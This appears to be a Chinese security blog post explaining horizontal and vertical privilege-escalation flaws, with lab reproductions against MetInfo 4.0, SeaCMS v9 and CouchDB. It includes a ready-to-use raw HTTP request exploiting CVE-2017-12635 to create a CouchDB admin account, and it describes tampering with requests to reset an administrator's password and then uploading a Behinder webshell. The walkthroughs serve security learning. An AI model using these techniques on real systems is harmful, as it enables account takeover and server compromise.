Src挖掘技巧分享 | 谈谈业务逻辑漏洞(二)

简介: Src挖掘技巧分享 | 谈谈业务逻辑漏洞

业务办理处-越权漏洞

之前跟着ms08067的大佬学习的时候,刚好写过相关笔记,还有幸发在该组织公众号上了,这里扒过来

前言:越权访问漏洞概念简析

”授权“与“验证”

了解越权访问的概念,首先要了解授权和验证的概念:授权是指网站赋予特定人对网站特定资源的读写权限。而验证是网站用于检查操作者是否真的可以对特定资源进行读写

“未授权访问”

未授权访问是指用户在没有通过认证授权的情况下,能够直接访问需要通过认证才能访问到的页面或文本信息。

那么,什么是越权漏洞?

由于没有对用户权限进行严格的判断,导致低权限的账号(比如普通用户)可以去完成高权限账号(比如超管)范围内的操作,如果能够成功操作,则称之为越权操作。越权漏洞形成的原因是后台使用了 不合理的权限校验规则导致的。

越权漏洞的产生原因

开发人员在对数据进行操作时对客户端请求的数据过分相信,遗漏了对于客户端权限的仔细判定。

越权漏洞常见位置

  1. 修改、重置、找回其他账户密码
  2. 查看、修改其他账户未公开的信息,例如个人资料、文件、数据、程序
  3. 账户关联的权限操作

越权访问漏洞的两大分类

越权漏洞主要分为水平越权和垂直越权两大类。

水平越权:同级别(权限)的用户或者同一角色的不同用户之间,可以越权访问、修改或者删除的非法操作。如果出现此漏洞,那么将可能会造成大批量数据泄露,严重的甚至会造成用户信息被恶意篡改。

例如两个不同的公司A和B,通过修改请求,公司A可以任意修改B公司的员工、部门、考勤等信息。

垂直越权:指使用权限低的用户可以访问权限较高的用户

垂直越权危害:

• 向上越权:普通用户可以执行管理员权限,比如发布文章、删除文章等操作。

• 向下越权:一个高级用户可以访问低级用户信息(暴露用户隐

例如同一个公司的职员A和经理B。显然他们在公司后台管理系统中账号的管理权限不同。垂直越权通过修改请求,职员A可以修改不在他管辖范围内的员工、考勤、工资等(自我加薪??)

关于如上介绍的总结话,偷我亲爱的来自MS08067团队的讲师一张图是再好不过了

d54e4ac5be0a829c7f35b8f87711e426_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

越权访问漏洞实战课内复现

水平越权

metinfoV4.0越权漏洞复现

环境准备:

下载metinfoV4.0CMS源码进行网站搭建

下载后将源码解压至phpstudy的web根目录即可。

解压完毕后利用浏览器访问网站地址进入安装目录创建普通用户进行登录

e45b1be25ff3ee0507220289ccf0ae87_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

登陆后进入修改基本信息的页面,随便修改一个密码,点击提交信息的同时上传

d041e276f6c93af5b10b2bf9018e2e9f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

抓包修改useid为管理员id

a96d5d1273f4442e44ca574f6f07b2d3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功修改管理员账号密码为123456,尝试登陆

b28c4d1f59c775b0628eaae2d5b8505b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

成功登陆,在界面风格->模板管理->添加新模板处发现一处文件上传漏洞。将冰蝎木马压缩成zip文件成功上传

查看一下编辑模板参数,报错是在意料之中的,我们需要的是木马路径

8aa7fbca2d6e0ca1dbc2a4e3786695d5_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

使用冰蝎服务器端连接木马。成功执行

8247b82b54bb4cfef4d4388609ffafad_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

海洋cms v9 越权漏洞

环境准备

https://github.com/seacms/seacms-v9下载seacms9.0版本的源码。还是使用php部署,部署过程非常简单。注意php+mysql的版本一般就是一路绿灯。

复现该漏洞需要注册两个网站账号

1.test@test.com/1234562.ms08067/123456

a7a725217fb6d36990be2b6598fd2ffd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

漏洞复现

分别用chrome 和微软两个浏览器登陆这两个账号

6e2d074bd1ff4131aa250e8534e3c975_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

通过抓包,获取ms08067用户的phpsessid为:df9jjuneuuqo5hgjjsid106km4

d44b8e62fed1870da4aafe886c368afa_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

在另一账号test@test.com的修改密码操作上抓包,并将sessid修改为ms08067账号的sessid。尝试更改密码为123456789。放包,显示修改成功。

尝试使用新密码登陆ms08067账户,发现登陆成功。

a7318c4ff30228f25af850f694549a41_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

垂直越权

Couchdb 垂直权限绕过漏洞(CVE-2017-12635)

漏洞描述

Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CVE-2017-12636是一个任意命令执行漏洞,我们可以通过config api修改couchdb的配置query_server,这个配置项在设计、执行view的时候将被运行。

影响版本:小于 1.7.0 以及 小于 2.1.1

环境搭建

使用虚拟机安装docker,vulhub

cd vulhub/couchdb/CVE-2017-12635 #进入靶场目录docker-compose up -d #开启靶场docker ps #查看端口

一个小报错处理

p.s:运行命令docker-compose up -d这里出现了一个报错。百度搜了一波,发现这是由于当前用户未加入docker组。解决方案是运行命令

sudo gpasswd -a ${USER} docker

然后退出当前用户比如切换为root,再次切换回原用户。然后执行docker-compose up -d就ok了。

aa86eb73fb06a9816e7e8ccc656b899e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

漏洞原理分析

由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性(对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值)

如:Erlang:

jiffy:decode(“{“a”:”1″, “a”:”2″}”).

{[{<<“a”>>,<<“1”>>},{<<“a”>>,<<“2”>>}]}

JavaScript:

JSON.parse(“{“a”:”1″, “a”: “2”}”)

{a: “2”}

可以被利用于,非管理员用户赋予自身管理员身份权限。

参考文章:https://cloud.tencent.com/developer/article/1144778

漏洞复现

访问服务器ip:5984并抓包将抓到的包发送给重发器(Repeater)并将发送数据改为如下(服务器IP地址为自己搭建的IP):

PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"password": "666666"}

返回403错误:{“error”:”forbidden”,”reason”:”Only _admin may set roles”}报错原因是只有管理员才能设置Role角色。通过增加一个roles字段数据包的方式绕过限制

PUT /_users/org.couchdb.user:qaq HTTP/1.1Accept: /Host: 192.168.160.141:5984/Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0Content-Type: application/jsonConnection: closeContent-Length: 101{"type": "user","name": "qaq","roles": ["_admin"],"roles":[],"password": "666666"}

85be3bcf5d4ff39d937ec2e7e4f0ab54_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

通过新创建的用户qaq/666666成功登录

861e291f263b71c211664c3dda8539f3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

复现完记得销毁环境哦~目录中执行命令

docker-compose down -v

b3bc139124f15dedb6eebf3987e7391e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

相关文章
|
4月前
|
设计模式 安全 关系型数据库
PHP开发涉及一系列步骤和技术
【7月更文挑战第2天】PHP开发涉及一系列步骤和技术
137 57
|
3月前
|
存储 API 数据库
深入探索DDD与事件溯源:使用Entity Framework Core构建高效且可维护的领域驱动设计应用——从理论到实践的全方位指南,附带代码示例与最佳实践分享
【8月更文挑战第31天】本文通过实例介绍如何结合领域驱动设计(DDD)与事件溯源(Event Sourcing)及 Entity Framework Core(EF Core),构建高效且可维护的应用程序。DDD 强调业务逻辑与软件设计的紧密融合,而事件溯源则通过记录所有变更事件来重建状态。文章详细展示了创建基于 EF Core 的项目、配置数据库上下文、定义领域模型与事件,并存储和提交事件的具体步骤。通过这些技术,实现了复杂业务逻辑的持久化与重构,提高了应用程序的灵活性和扩展性。
84 0
|
4月前
|
SQL 安全 数据库
构建安全的Python Web应用是一项持续的努力,需要开发者时刻保持警惕,并采用最佳实践来预防各种安全威胁
【7月更文挑战第26天】构建安全的Python Web应用是一项持续的努力,需要开发者时刻保持警惕,并采用最佳实践来预防各种安全威胁
67 9
|
6月前
|
监控 安全 网络安全
网络安全行为可控定义以及表现内容简述
网络安全行为可控定义以及表现内容简述
94 1
|
安全 前端开发 Java
深入分析GadgetInspector核心代码(一)
深入分析GadgetInspector核心代码
243 1
深入分析GadgetInspector核心代码(一)
|
安全
|
Web App开发 安全 前端开发
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(三)
Src挖掘技巧分享 | 谈谈业务逻辑漏洞
302 0
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(三)
|
SQL 安全 前端开发
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(一)
Src挖掘技巧分享 | 谈谈业务逻辑漏洞
851 0
Src挖掘技巧分享 | 谈谈业务逻辑漏洞(一)
|
缓存 安全 Java
深入分析GadgetInspector核心代码(三)
深入分析GadgetInspector核心代码
173 0
深入分析GadgetInspector核心代码(三)
|
存储 安全 Java
深入分析GadgetInspector核心代码(二)
深入分析GadgetInspector核心代码
102 0
深入分析GadgetInspector核心代码(二)